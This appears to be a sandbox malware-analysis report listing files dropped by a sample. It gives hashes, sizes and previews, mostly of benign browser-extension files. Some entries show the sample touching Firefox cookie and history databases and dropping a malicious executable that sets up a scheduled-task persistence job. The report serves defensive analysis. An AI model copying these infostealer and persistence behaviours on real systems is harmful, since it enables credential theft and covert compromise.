Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1820808433\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1820808433\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1820808433\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1820808433\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1820808433\e03cbc67-f05d-40b8-b2e1-2d78de74c7f2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsIIJKJDAFHJ.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1886720
Entropy (8bit):	7.950156401267885
Encrypted:	false
SSDEEP:	49152:Z71jIIMuziLRGatAdrDMBWhHtAlFYn0jzl/g6:1r2LrsfMBKNAkn0j66
MD5:	9DEA0E097A9267EEC56E1D08E9F37554
SHA1:	7E7F36A9C20B52830BC11B77B48814EFBE7276E9
SHA-256:	ECDBC4F125DB74BC0D489F0C3C4FEB805225AF49B02762F70C69F2DCB95E2751
SHA-512:	61A5284F0AFC6637EF794DFCD761529ABA1E72F46428E2363FE5F372E16CE34902EDD97FE5B41E98ECE99EF18A92AA9458E97E21454B904D92F1A7C345C236E7
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@...........................K......+....@.................................W...k.......D...................$.J...............................J..................................................... . ............................@....rsrc...D...........................@....idata ............................@... .p*.........................@...ckxzyosv..... 1.....................@...hvcuhzos......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsIIJKJDAFHJ.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.4569708414839617
Encrypted:	false
SSDEEP:	6:5KL1t/VXUhXUEZ+lX1CGdKUe6tE9+AQy0lB5lKlEt0:5Q1D4Q1CGAFD9+nVB7KlEt0
MD5:	514381EF4E55EA36E459816254E28346
SHA1:	1F52084EED46AE5DB7B6B323CAD1D7113426E7FC
SHA-256:	E0B2B373D6A5E2F881D17BF8FA6E89DC054F2A49FA08F76F20F910C052D14167
SHA-512:	F49A685BC812AA8AFADDC736921C5D5E982DF56595948BD83223393ECFAD75A06EB59A81E8D7E603996657A6704851C91898FBE1256E1E083EC43D73B16B2E80
Malicious:	false
Preview:	....g...{..I........F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0...................@3P.........................

Chrome Cache Entry: 506

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (819)
Category:	downloaded
Size (bytes):	824
Entropy (8bit):	5.194495097944828
Encrypted:	false
SSDEEP:	24:xicjtYr4F03KBHslgT9lCuABuoB7HHHHHHHYqmffffffo:xicRu93KKlgZ01BuSEqmffffffo
MD5:	F56B318CC5A045694932E045CEF9E884
SHA1:	D8FEE56A6B299D7A003BF9D0AB280A59AABA02E1
SHA-256:	6A7F0BBF350274A3BE4D05DE3B25746445ABBC4AE85B51EDF0752237180C77A3
SHA-512:	C918573B053E9DC547E0500193C59C9A6950AC741DE6EE4E59F129DF314ACFDCF7046FA11420CC58B38D81BF68E25309226F72057125BEBC5BFA6713C47CED91
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["practice squad","brooklyn bridge humpback whale","gladiator ii movie review","dollar general thanksgiving hours","exiled codes roblox","chris kreider injury","fema announces federal funding for kentucky counties affected by hurricane helene","2025 ford excursion"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 507

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
